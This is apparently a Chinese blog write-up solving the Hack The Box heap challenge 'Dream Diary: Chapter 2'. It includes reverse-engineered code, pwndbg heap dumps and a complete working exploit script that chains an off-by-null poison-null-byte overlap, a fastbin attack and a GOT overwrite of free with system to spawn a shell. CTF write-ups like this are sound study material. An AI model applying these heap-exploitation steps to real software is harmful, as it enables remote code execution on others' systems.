每日一练2:[HTB]Dream Diary: Chapter 2

selph
selph
发布于 2024-10-25 / 19 阅读
1
0

每日一练2:[HTB]Dream Diary: Chapter 2

前言

该题目在1的基础上,内存布局申请变得更加混乱,原本的off by one变成了off by null,克服这些挑战拿到shell

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

今天是第2天,希望能坚持下去

题目情况

Hint: Xenial Xerus

这是ubuntu16.04lts的代号,意味着适用2.23的libc

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)

逆向分析

这次选项更多了:

+------------------------------+
|         Dream Diary          |
+------------------------------+
| [1] Allocate                 |
| [2] Edit                     |
| [3] Delete                   |
| [4] Dump                     |
| [5] Exit                     |
+------------------------------+

选项1:Allocate

unsigned __int64 allocate()
{
  __int64 v0; // rbx
  int i; // [rsp+0h] [rbp-30h]
  size_t size; // [rsp+8h] [rbp-28h]
  __int64 buf; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  buf = 0LL;
  for ( i = 0; ; ++i )
  {
    if ( i > 15 )                               // 最多16个
    {
      puts("Too many notes!");
      return __readfsqword(0x28u) ^ v5;
    }
    if ( !*(&ptr + i) )
      break;
  }
  printf("\nSize: ");
  if ( (int)read(0, &buf, 4uLL) <= 0 )          // 大小手动控制
  {
    puts("Read error!");
    exit(-1);
  }
  size = atoi((const char *)&buf);
  *(&ptr + i) = malloc(0x10uLL);                // 申请0x10字节的内存
  if ( !*(&ptr + i) )
  {
    puts("Malloc error!");
    exit(-1);
  }
  v0 = (__int64)*(&ptr + i);
  *(_QWORD *)(v0 + 8) = malloc(size);           // 申请指定字节的内存
  if ( !*((_QWORD *)*(&ptr + i) + 1) )
  {
    puts("Malloc error!");
    exit(-1);
  }
  *(_QWORD *)*(&ptr + i) = size;                // 第一块内存保存大小
  printf("Data: ");
  read_(*((_QWORD *)*(&ptr + i) + 1), size);    // 第二块内存保存数据
  puts("Success!");
  return __readfsqword(0x28u) ^ v5;
}

申请操作会申请2次内存,第一次申请0x10字节的内存,保存输入的size,第二次申请指定size的内存,保存数据

可以猜测这里的ptr是个结构体:

sz ptr[COUNT];

struct sz{
	int size;
	char* data;
}

无漏洞

选项2:edit

unsigned __int64 edit()
{
  int v1; // [rsp+Ch] [rbp-14h]
  __int64 buf; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  buf = 0LL;
  printf("Index: ");
  read(0, &buf, 4uLL);
  v1 = atoi((const char *)&buf);
  if ( (unsigned int)v1 < 0x10 )
  {
    if ( *(&ptr + v1) )
    {
      printf("Data: ");
      read_(*((void **)*(&ptr + v1) + 1), *(_QWORD *)*(&ptr + v1));// 基于大小来读取数据写入
      sub_400B12(*((_QWORD *)*(&ptr + v1) + 1), *(_QWORD *)*(&ptr + v1));// 末尾设置为0
                                                // off by null!
      puts("Done!");
    }
    else
    {
      puts("Nope!");
    }
  }
  else
  {
    puts("Out of bounds!");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里使用输入的size来作为编辑data的大小上限,然后调用了sub_400B12:

__int64 __fastcall sub_400B12(__int64 a1, __int64 a2)
{
  __int64 result; // rax

  result = a1 + a2;
  *(_BYTE *)(a1 + a2) = 0;
  return result;
}

给输入的数据末尾设置00作为字符串截断,这里字符串索引是从0开始的,这里没有对长度-1操作,导致off by null漏洞

选项3:Delete:

unsigned __int64 delete()
{
  int v1; // [rsp+Ch] [rbp-14h]
  __int64 buf; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  buf = 0LL;
  printf("Index: ");
  read(0, &buf, 4uLL);
  v1 = atoi((const char *)&buf);
  if ( (unsigned int)v1 < 0x10 )
  {
    if ( *(&ptr + v1) )
    {
      free(*((void **)*(&ptr + v1) + 1));
      free(*(&ptr + v1));
      *(&ptr + v1) = 0LL;                       // 数据指针没有清空
      puts("Done!");
    }
    else
    {
      puts("Nope!");
    }
  }
  else
  {
    puts("Out of bounds!");
  }
  return __readfsqword(0x28u) ^ v3;
}

释放2块内存,但是只清空了size指针,没有清空data 的指针,可能uaf?

选项4:Dump

unsigned __int64 dummp()
{
  int v1; // [rsp+Ch] [rbp-14h]
  __int64 buf; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  buf = 0LL;
  printf("Index: ");
  if ( (int)read(0, &buf, 4uLL) <= 0 )
  {
    puts("Read error!");
    exit(-1);
  }
  v1 = atoi((const char *)&buf);
  if ( (unsigned int)v1 < 0x10 )
  {
    if ( *(&ptr + v1) )                         // 根据size指针判断
      printf("Size: %ld | Data: %s\n", *(_QWORD *)*(&ptr + v1), *((const char **)*(&ptr + v1) + 1));// 输出内容
    else
      puts("Nope!");
  }
  else
  {
    puts("Out of bounds!");
  }
  return __readfsqword(0x28u) ^ v3;
}

可以用来泄露数据

利用分析

当前情况分析

  • 程序使用libc 2.23,可以攻击 Hook
  • 程序没有PIE,存在劫持指针数组的可能
  • 程序没有FULL RELRO,存在劫持GOT表的可能
  • 程序存在off by null漏洞,存在创造重叠快的可能
  • 程序释放内存后没有清空data指针,存在UAF或者double-free的可能
  • 程序有输出data段的函数,存在泄露数据的可能

利用计划

第一步:通过off by null作为入口点,创造重叠块

第二步,通过fastbin attack劫持指针数组

第三步:任意内存修改,攻击 ELF GOT 来 drop shell(打Hook也行,打IO也行,打哪儿都行)

辅助函数

def cmd(i, prompt=b">> "):
    sla(prompt, i)

def add(sz:int,data:bytes):
    cmd('1')
    sla(b"Size: ",str(sz).encode())
    sla(b"Data: ",data)
    #......

def edit(idx:int,data:bytes):
    cmd('2')
    sla(b"Indexs: ",str(idx).encode())
    sla(b"Data: ",data)

    #......

def show(idx: int):
    cmd('4')
    sla(b"Index: ",str(idx).encode())
    #......

def free(idx: int):
    cmd('3')
    sla(b"Index: ",str(idx).encode())  
    #......

Heap FengShui - 提前布局

每次申请内存都会分配1个0x20的chunk和一个我们自定义大小的chunk

这个0x20大小的chunk穿插在中间很干扰操作,得想个办法处理一下

在不断瞎操作下,发现,如果我能创造大量的0x20的fastbin chunk,那么自此之后再做新的申请,这个0x20就不会干扰我了

# heap fengshui
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x2f0,b"1")
add(0x18,cyclic(0x18))      # 5


free(0)
free(1)
free(2)
free(3)
free(4)

第一步,申请一堆0x20的chunk,然后全部释放掉,都进入fastbin

这里中间申请了一个0x2f0的chunk,用于后续操作用,会释放掉作为后续申请内存操作的空间

最后申请的那个0x20用来分隔top chunk,防止合并

此时的堆布局:

pwndbg> vis 100

0x1b86000       0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][7]
0x1b86010       0x0000000001b86020      0x0000000001b86030       `......0`......
0x1b86020       0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][8]
0x1b86030       0x0000000000000000      0x6161616461616163      ........caaadaaa
0x1b86040       0x6161616661616165      0x0000000000000021      eaaafaaa!.......         <-- fastbins[0x20][5]
0x1b86050       0x0000000001b86060      0x0000000001b86070      ``......p`......
0x1b86060       0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][6]
0x1b86070       0x0000000001b86000      0x6161616461616163      .`......caaadaaa
0x1b86080       0x6161616661616165      0x0000000000000021      eaaafaaa!.......         <-- fastbins[0x20][3]
0x1b86090       0x0000000001b860a0      0x0000000001b860b0      .`.......`......
0x1b860a0       0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][4]
0x1b860b0       0x0000000001b86040      0x6161616461616163      @`......caaadaaa
0x1b860c0       0x6161616661616165      0x0000000000000021      eaaafaaa!.......         <-- fastbins[0x20][1]
0x1b860d0       0x0000000001b860e0      0x0000000001b860f0      .`.......`......
0x1b860e0       0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][2]
0x1b860f0       0x0000000001b86080      0x6161616461616163      .`......caaadaaa
0x1b86100       0x6161616661616165      0x0000000000000021      eaaafaaa!.......         <-- fastbins[0x20][0]
0x1b86110       0x0000000001b860c0      0x0000000001b86130      .`......0a......
0x1b86120       0x0000000000000000      0x0000000000000301      ................         <-- unsortedbin[all][0]
0x1b86130       0x00007f9a8b03ab78      0x00007f9a8b03ab78      x.......x.......
0x1b86140       0x0000000000000000      0x0000000000000000      ................
0x1b86150       0x0000000000000000      0x0000000000000000      ................
0x1b86160       0x0000000000000000      0x0000000000000000      ................
0x1b86170       0x0000000000000000      0x0000000000000000      ................
0x1b86180       0x0000000000000000      0x0000000000000000      ................
0x1b86190       0x0000000000000000      0x0000000000000000      ................

...

0x1b86410       0x0000000000000000      0x0000000000000000      ................
0x1b86420       0x0000000000000300      0x0000000000000020      ........ .......
0x1b86430       0x0000000000000018      0x0000000001b86450      ........Pd......
0x1b86440       0x0000000000000000      0x0000000000000021      ........!.......
0x1b86450       0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa
0x1b86460       0x6161616661616165      0x0000000000020ba1      eaaafaaa........         <-- Top chunk

Poison Null Byte - 创造重叠 chunk

对于off by null的场景,一个很好使的法子就是poison Null Byte,在libc2.23下,只需要满足伪造好next chunk的prev_size和size即可

# poison null-byte
add(0x28,b"\x00"*0x20+pack(0x30))      # 0
add(0x208,b"\x00"*0x1f0+pack(0x200)+pack(0x21))     # 1
add(0xb8,b"C")      # 2


free(1)
edit(0,b"AA")

add(0x188,b"D")      # 1
add(0x68,b"E"*7)      # 3

free(1)
free(2)

申请1个小的chunkA,用于溢出,申请1个大的chunkB,用于在内部创造重叠chunk,申请1个能进unsortedbin的chunkC用于触发合并操作

这里先将chunkB释放掉,通过off by null改小其size

然后分2次申请内部chunkB1和chunkB2,其中chunkB2就是重叠chunk

释放了chunkB1之后,chunkB1是unsortedbin chunk,链表是完整的

然后释放chunkC,chunkC会触发向上合并,因为此时chunkC的prev_inused依然是之前释放chunkB时候的0,所以会根据prev_size定位上一个chunk,然后直接合并插入链表,没有其他的检查

此时的堆:

pwndbg> vis 100

0x1b86000       0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][5]
0x1b86010       0x0000000001b86020      0x0000000001b86030       `......0`......
0x1b86020       0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][6]
0x1b86030       0x0000000000000000      0x6161616461616163      ........caaadaaa
0x1b86040       0x6161616661616165      0x0000000000000021      eaaafaaa!.......         <-- fastbins[0x20][3]
0x1b86050       0x0000000001b86060      0x0000000001b86070      ``......p`......
0x1b86060       0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][4]
0x1b86070       0x0000000001b86000      0x6161616461616163      .`......caaadaaa
0x1b86080       0x6161616661616165      0x0000000000000021      eaaafaaa!.......
0x1b86090       0x0000000000000068      0x0000000001b862f0      h........b......
0x1b860a0       0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][2]
0x1b860b0       0x0000000001b86040      0x6161616461616163      @`......caaadaaa
0x1b860c0       0x6161616661616165      0x0000000000000021      eaaafaaa!.......         <-- fastbins[0x20][1]
0x1b860d0       0x0000000001b860a0      0x0000000001b86160      .`......`a......
0x1b860e0       0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][0]
0x1b860f0       0x0000000001b860c0      0x0000000001b86370      .`......pc......
0x1b86100       0x6161616661616165      0x0000000000000021      eaaafaaa!.......
0x1b86110       0x0000000000000028      0x0000000001b86130      (.......0a......
0x1b86120       0x0000000000000000      0x0000000000000031      ........1.......
0x1b86130       0x00000000000a4141      0x0000000000000000      AA..............
0x1b86140       0x0000000000000000      0x0000000000000000      ................

0x1b86150       0x0000000000000030      0x00000000000002d1      0...............         <-- unsortedbin[all][0]
0x1b86160       0x00007f9a8b03ab78      0x00007f9a8b03ab78      x.......x.......
0x1b86170       0x0000000000000000      0x0000000000000000      ................
0x1b86180       0x0000000000000000      0x0000000000000000      ................
0x1b86190       0x0000000000000000      0x0000000000000000      ................
0x1b861a0       0x0000000000000000      0x0000000000000000      ................
0x1b861b0       0x0000000000000000      0x0000000000000000      ................
0x1b861c0       0x0000000000000000      0x0000000000000000      ................
0x1b861d0       0x0000000000000000      0x0000000000000000      ................
0x1b861e0       0x0000000000000000      0x0000000000000000      ................
0x1b861f0       0x0000000000000000      0x0000000000000000      ................
0x1b86200       0x0000000000000000      0x0000000000000000      ................
0x1b86210       0x0000000000000000      0x0000000000000000      ................
0x1b86220       0x0000000000000000      0x0000000000000000      ................
0x1b86230       0x0000000000000000      0x0000000000000000      ................
0x1b86240       0x0000000000000000      0x0000000000000000      ................
0x1b86250       0x0000000000000000      0x0000000000000000      ................
0x1b86260       0x0000000000000000      0x0000000000000000      ................
0x1b86270       0x0000000000000000      0x0000000000000000      ................
0x1b86280       0x0000000000000000      0x0000000000000000      ................
0x1b86290       0x0000000000000000      0x0000000000000000      ................
0x1b862a0       0x0000000000000000      0x0000000000000000      ................
0x1b862b0       0x0000000000000000      0x0000000000000000      ................
0x1b862c0       0x0000000000000000      0x0000000000000000      ................
0x1b862d0       0x0000000000000000      0x0000000000000000      ................
0x1b862e0       0x0000000000000190      0x0000000000000070      ........p.......
0x1b862f0       0x0a45454545454545      0x00007f9a8b03ab78      EEEEEEE.x.......
0x1b86300       0x0000000000000000      0x0000000000000000      ................
0x1b86310       0x0000000000000000      0x0000000000000000      ................
0x1b86320       0x0000000000000000      0x0000000000000000      ................
0x1b86330       0x0000000000000000      0x0000000000000000      ................
0x1b86340       0x0000000000000000      0x0000000000000000      ................
0x1b86350       0x0000000000000070      0x0000000000000021      p.......!.......
0x1b86360       0x0000000000000210      0x00000000000000c0      ................
0x1b86370       0x00007f9a8b030a43      0x00007f9a8b03ab78      C.......x.......
0x1b86380       0x0000000000000000      0x0000000000000000      ................
0x1b86390       0x0000000000000000      0x0000000000000000      ................
0x1b863a0       0x0000000000000000      0x0000000000000000      ................
0x1b863b0       0x0000000000000000      0x0000000000000000      ................
0x1b863c0       0x0000000000000000      0x0000000000000000      ................
0x1b863d0       0x0000000000000000      0x0000000000000000      ................
0x1b863e0       0x0000000000000000      0x0000000000000000      ................
0x1b863f0       0x0000000000000000      0x0000000000000000      ................
0x1b86400       0x0000000000000000      0x0000000000000000      ................
0x1b86410       0x0000000000000000      0x0000000000000000      ................

0x1b86420       0x00000000000002d0      0x0000000000000020      ........ .......
0x1b86430       0x0000000000000018      0x0000000001b86450      ........Pd......

0x1b86440       0x0000000000000000      0x0000000000000021      ........!.......
0x1b86450       0x6161616261616161      0x6161616461616163      aaaabaaacaaadaaa

0x1b86460       0x6161616661616165      0x0000000000020ba1      eaaafaaa........         <-- Top chunk

得到了一个0x2d1的chunk,但是其中的chunkB2还处于被申请走的状态,自此得到重叠chunk

Fastbin Attack - 劫持 ptr 数组

chunkB2上有libc地址,顺便泄露出来用用,得到重叠chunk之后,就和之前一样,找fake fastbin chunk,申请走,覆盖ptr数组:

show(3)

ru(b"Data")
leak = r(0x10)[10:]
leak = unpack(leak,"all")
success("leak addr: 0x{:x}".format(leak))

#libc.address = leak-0x192b78   #  debug
libc.address = leak-0x3c4b78

success("libc base addr: 0x{:x}".format(libc.address))

free(3)

# fastbin attack & Hijack ptr array
fd = 0x60209d
add(0x2c8,b"\x00"*0x188 + pack(0x71) + pack(fd))      # 1

此时的bins:

pwndbg> bin
fastbins
0x20: 0x1b860e0 —▸ 0x1b860c0 —▸ 0x1b860a0 —▸ 0x1b86040 —▸ 0x1b86060 —▸ 0x1b86000 —▸ 0x1b86020 ◂— 0x0
0x70: 0x1b862e0 —▸ 0x60209d ◂— 0x0
unsortedbin
empty
smallbins
empty
largebins
empty

Hijack ELF GOT - Drop Shell

最后一步了,现在能做到任意地址写了,就和之前的操作一样,直接劫持ptr,劫持elf GOT表完成Drop Shell

add(0x68,b"a")


# Hijack ELF GOT
fake_arr = \
    pack(0x6020f0)+pack(0x6020e0)+\
    b"/bin/sh\x00"+pack(0)+\
    pack(0x6020e0)+pack(0x6020d0)+\
    pack(0x7) + pack(elf.got.free) 

add(0x68,b"\x00"*0x13 + fake_arr)
edit(0 , pack(libc.sym.system))
free(1)

这就没啥好说的了,劫持free函数执行system函数,free一个有/bin/sh的地址

完整exp

#!/usr/bin/env python3
# Date: 2024-10-25 10:44:30
# Link: https://github.com/RoderickChan/pwncli
# Usage:
#     Debug : python3 exp.py debug elf-file-path -t -b malloc
#     Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b">> "):
    sla(prompt, i)

def add(sz:int,data:bytes):
    cmd('1')
    sla(b"Size: ",str(sz).encode())
    sla(b"Data: ",data)
    #......

def edit(idx:int,data:bytes):
    cmd('2')
    sla(b"Index: ",str(idx).encode())
    sla(b"Data: ",data)

    #......

def show(idx: int):
    cmd('4')
    sla(b"Index: ",str(idx).encode())
    #......

def free(idx: int):
    cmd('3')
    sla(b"Index: ",str(idx).encode())  
    #......

# heap fengshui
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x18,cyclic(0x18))
add(0x2f0,b"1")
add(0x18,cyclic(0x18))      # 5

free(0)
free(1)
free(2)
free(3)
free(4)

# poison null-byte
add(0x28,b"\x00"*0x20+pack(0x30))      # 0
add(0x208,b"\x00"*0x1f0+pack(0x200)+pack(0x21))     # 1
add(0xb8,b"C")      # 2

free(1)
edit(0,b"AA")

add(0x188,b"D")      # 1
add(0x68,b"E"*7)      # 3

free(1)
free(2)

show(3)
ru(b"Data")
leak = r(0x10)[10:]
leak = unpack(leak,"all")
success("leak addr: 0x{:x}".format(leak))

#libc.address = leak-0x192b78   #  debug
libc.address = leak-0x3c4b78

success("libc base addr: 0x{:x}".format(libc.address))

free(3)

# fastbin attack & Hijack ptr array
fd = 0x60209d
add(0x2c8,b"\x00"*0x188 + pack(0x71) + pack(fd))      # 1

add(0x68,b"a")

# Hijack ELF GOT
fake_arr = \
    pack(0x6020f0)+pack(0x6020e0)+\
    b"/bin/sh\x00"+pack(0)+\
    pack(0x6020e0)+pack(0x6020d0)+\
    pack(0x7) + pack(elf.got.free) 

add(0x68,b"\x00"*0x13 + fake_arr)
edit(0 , pack(libc.sym.system))
free(1)

ia()

总结

本练习相关的知识:

  • off by null 创造重叠块

    • poison null byte
  • Fastbin Attack

  • Hijack Elf GOT

参考资料


评论